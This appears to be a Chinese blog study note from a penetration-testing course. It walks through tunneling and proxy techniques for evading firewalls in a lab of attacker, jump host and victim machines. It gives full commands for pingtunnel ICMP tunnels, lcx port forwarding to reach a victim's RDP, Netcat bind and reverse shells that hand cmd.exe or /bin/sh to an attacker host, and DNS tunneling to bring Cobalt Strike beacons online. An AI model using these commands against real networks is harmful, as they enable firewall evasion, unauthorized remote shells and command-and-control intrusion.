数据来源
必备知识点:
1、代理和隧道技术区别?
代理:只是解决网络的访问问题(如:有些内网访问不到,可以用代理实现)
隧道:隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统(是一种绕过端口屏蔽的通信方式)
2、隧道技术为了解决什么?
防火墙过滤问题、网络连接通信问题、数据回链封装问题(在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截)
比如:CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。
3、隧道技术前期的必备条件?
隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议。
比如:你想用一个网络层的 ICMP 隧道,这个时候你要去检测目标主机支不支持ICMP隧道的开启。怎么检测呢?可以使用ping命令去ping地址,看能不能正常通信,如果能的话就可以。
隧道原理:
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况, 如果发现异样,就会对通信进行阻断。
那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。
防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙, 与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:(OSI与TCP/IP 5层协议_正经人_____的博客)
- 网络层:IPv6 隧道、ICMP 隧道
- 传输层:TCP 隧道、UDP 隧道、常规端口转发
- 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
演示案例
- 网络传输应用层检测连通性-检测
- 网络层 ICMP 隧道 Ptunnel 使用-检测,利用
- 传输层转发隧道 Portmap 使用-检测,利用
- 传输层转发隧道 Netcat 使用-检测,利用,功能
- 应用层 DNS 隧道配合 CS 上线-检测,利用,说明
环境准备:
1台klai(攻击机),一台普通的虚拟机(我这里是win2003)
案例 1 - 网络传输应用层检测连通性-检测
注意:下面的检测首先可以检测你的靶机开启了哪些端口:netstat -an
1. TCP协议
TCP端口介绍:TCP端口_百度百科 (baidu.com)
用 “ 瑞士军刀 ” —— netcat (kali自带),如果要安装到windows:在windows下载安装netcat(nc)命令_netcat下载_正经人_____的博客-CSDN博客
执行命令(你的靶机要开启TCP端口才能检测成功,不然就会报连接超时之类的错误)
# -vz检测TCP端口、192.168.1.45 靶机ip、我这里是检测21端口
nc -vz 192.168.1.45 21
开启20/21端口(FTP):FTP服务器_slyar ftpserver_正经人_____的博客
开启23端口(telnet):服务器远程管理(telnet )_telnet远程管理_正经人_____的博客
开启53端口(DNS):DNS部署与安全__dnsauth主机记录 是否安全_正经人_____的博客
开启80端口(http):IIS之WEB服务器_iis的web默认端口_正经人_____的博客-CSDN博客
DNS部署与安全__dnsauth主机记录 是否安全_正经人_____的博客
UDP端口介绍:udp端口号有哪些-常见问题-PHP中文网
2. HTTP协议
用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息
3. ICMP协议
用“ping”命令,执行 ping <IP 地址/域名>
ping 192.168.1.45 -c4 # -c4 发送4个包,不设置就是一直发送,如果是windows系统默认就是发送4个数据探测包
4. DNS协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令
dig 192.168.1.45
案例 2 - 网络层 ICMP 隧道 ptunnel 使用-检测,利用
kali2020-Target2-Target3
pingtunnel 工具介绍:
下载:
- 老版本介绍:https://github.com/f1vefour/ptunnel (需自行编译)
- 新版本介绍:GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP (二次开发版,推荐用这个,老版已经不更新)
作用:pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p 表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp 表示需要监听的本地 tcp 端口
-da 指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x 设置连接的密码
实验前提:成拿下目标内网的一台虚拟机(我这里是本地环境搭建的),并且该虚拟机可以访问我们的受害者主机,并且我们已经知道受害者主机的账号密码。
环境搭建:
用到的虚拟机:一台kali(攻击机),一台linux虚拟机(跳板机),一台win7虚拟机(目标/靶机)
虚拟机开那台都不受影响,你随便开3台虚拟机都可以,就是下载 pingtunnel 工具的时候就下载与你虚拟机相对应的版本就行。
虚拟机网络配置
kali | linux | linux |
VM8 | VM8 | VM1 |
VM1 |
这样配置的结果:跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信
隧道工具准备:
pingtunnel工具下载:Releases · esrrhs/pingtunnel (github.com)
注意:这个的服务端与客户端都是同一个文件,只是通过命令来分别启动服务端与客户端
开启pingtunnel的服务端:
我这里使用蚁剑连接linux虚拟机(跳板机),然后将刚才下载的工具上传上去,并执行命令把这台虚拟机当做服务器:
# 服务端 连接密码(可改)
./pingtunnel -type server -key 1234
# -type 服务器或者客户端 client or server
# -key 设置的密码,默认0
这里我使用蚁剑执行命令出现问题报错了, 找了很久找不到解决方案,最后我换成xshell连接成功了
pingtunnel客户端:在kali开启客户端连接我们的服务端口(都是用同一个文件)
# client(客户端) :4455(本地开启监听的端口可改)192.168.1.77(服务端ip地址) 192.168.22.133:3389(目标ip与端口) 1234(连接密码)
./pingtunnel -type client -l :4455 -s 192.168.1.77 -t 192.168.22.133:3389 -tcp 1 -key 1234
# 监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 192.168.22.133 服务器的 3389 端口
# -s 服务器的地址,流量将通过隧道转发到这个服务器
# -l 本地的地址,发到这个端口的流量将转发到服务器
# -tcp 设置是否转发tcp,默认0
# -t 远端服务器转发的目的地址,流量将转发到这个地址
最后就可以在kali中访问自己的4455端口从而访问192.168.22.133的3389
rdesktop 127.0.0.1:4455
这个Pingtunnel工具的使用参考了:【Pingtunnel工具教程】利用ICMP隧道技术进行ICMP封装穿透防火墙_归去来兮-zangcc的博客
视频中的老师使用的工具是老版的工具,操作太麻烦了而且那个工具作者也不更新了,所以就自己搞了一个。
工具的可选参数(直接输入:./pingtunnel # 就会打印出工具的使用参数)
服务器参数server param:
服务器参数server param:
-key 设置的密码,默认0
-nolog 不写日志文件,只打印标准输出,默认0
-noprint 不打印屏幕输出,默认0
-loglevel 日志文件等级,默认info
-maxconn 最大连接数,默认0,不受限制
-maxprt server最大处理线程数,默认100
-maxprb server最大处理线程buffer数,默认1000
-conntt server发起连接到目标地址的超时时间,默认1000ms
客户端参数client param:
客户端参数client param:
-l 本地的地址,发到这个端口的流量将转发到服务器
-s 服务器的地址,流量将通过隧道转发到这个服务器
-t 远端服务器转发的目的地址,流量将转发到这个地址
-timeout 本地记录连接超时的时间,单位是秒,默认60s
-key 设置的密码,默认0
-tcp 设置是否转发tcp,默认0
-tcp_bs tcp的发送接收缓冲区大小,默认1MB
-tcp_mw tcp的最大窗口,默认20000
-tcp_rst tcp的超时发送时间,默认400ms
-tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
-tcp_stat 打印tcp的监控,默认0
-nolog 不写日志文件,只打印标准输出,默认0
-noprint 不打印屏幕输出,默认0
-loglevel 日志文件等级,默认info
-sock5 开启sock5转发,默认0
-profile 在指定端口开启性能检测,默认0不开启
-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
案例 3 - 传输层转发隧道 Portmap 使用-检测,利用
windows: lcx
下载:GitHub - UndefinedIdentifier/LCX: 自修改免杀lcx端口转发工具
环境准备:
- 因为下载的工具是.exe文件,所以这里准备的跳板机与受害者主机都是win,另加一台攻击机kali
- 跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信。
跳板机中执行
# 将受害者 3389端口 给本地的 3131端口(跳板机)
lcx.exe -slave 127.0.0.1 3131 192.168.22.133 3389
# 192.168.22.133 受害者的主机
# 监听本地的3131转发到3333上
lcx.exe -listen 3131 3333
kali攻击机中连接受害者的3389端口
rdesktop 192.168.1.74:3333
linux:portmap
github地址:GitHub - kaklakariada/portmapper: A tool for managing port forwardings via UPnP
下载地址:https://github.com/kaklakariada/portmapper/releases/download/v2.2.3/portmapper-2.2.3.jar
这里就演示了,需要的自己下载参考官网的使用方法来就行了,操作都差不多
总结:
这个代理技术大概的过程就是,我们已经控制了内网中的一台主机当跳板机,然后在使用lcx工具将受害者主机的的3389端口给到已经被我们控制的跳板机,然后再通过我们的kali攻击机访问跳板机监听的端口就能实现访问受害者主机(不然我们直接连接受害者主机是做不到的)
总的来说这种代理方式使用起来还是挺方便的
案例 4 - 传输层转发隧道 Netcat 使用-检测,利用,功能
Kali2020-god\webserver-god\sqlserver|dc
win下载nc:在windows下载安装netcat(nc)命令_netcat下载_正经人_____的博客-CSDN博客
如果只是在nc的根目录下运行,可以不需要配置环境变量
1. 双向连接反弹 shell
环境准备:一台kali(攻击机),一台win(靶机),注意:kali自带nc,win要自己安装nc
正向:攻击连接受害
受害者主机运行
# 受害
nc -ldp 1234 -e /bin/sh
nc -ldp 1234 -e c:\windows\system32\cmd.exe # nc把cmd会话反弹给1234端口
kali中运行
# 攻击主动连接 (攻击机主动连接受害者的1234端口获取cmd) 192.168.1.81受害者ip
nc 192.168.1.81 1234
反向:受害连接攻击
kali中运行
# 攻击
nc -lvp 1234 # 监听1234端口
受害者主机运行
# 受害主动连接
nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe # nc把cmd会话反弹给攻击机的1234端口
查看kali的监听情况
2. 多向连接反弹 shell - 配合转发(这个案例比较鸡肋)
反向:
环境准备:一台kali攻击机,一台win跳板机,一受害者主机
跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信,网络配置就用之前的就行了(跳板机和kali有一个相通的网段 - 跳板机和受害者主机有相通的网段)
虚拟机网络配置
kali | 跳板机 | 受害者 |
VM8 | VM8 | VM1 |
VM1 |
跳板机运行
# 监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333
受害者主机运行
nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe # nc把cmd会话反弹给跳板机的 2222 端口
kali中运行
nc -v 192.168.1.81 3333
这里有乱码,解决: chcp 65001 # 修改编码
流程解释:跳板机将2222端口的信息都转发到3333端口上并开启了监听,受害者生成一个cmd窗口给跳板机的2222端口,然后被转发到3333端口上了,最后kali监听跳板机的3333端口,即获取了受害者的cmd会话。
正向该怎么操作呢?实战中改怎么选择正向和反向?
3. 相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.22.143 (我这里扫不出来)
端口扫描:nc -v -z 192.168.22.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上
案例 5 - 应用层 DNS 隧道配合 CS 上线-检测,利用,说明
应用层:SSH、HTTP/S隧道、DNS隧道
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀
1. 云主机 Teamserver 配置端口 53 启用-udp
2. 买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址
3. 配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4. 生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt
beacon> shell whoami
如果你们要下载CS:cobaltstrike的安装与基础使用_cobalt strike windows运行_正经人_____的博客-CSDN博客
可以参考这位老哥的搭建,我没买DNS服务器就不搞了:应用层DNS隧道配合CS上线_51CTO博客_dns 应用层
域名的字符越多就越便宜,便宜的都要18,够我吃顿外卖,等以后实战要用到再搞,操作挺简单的
涉及资源
GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP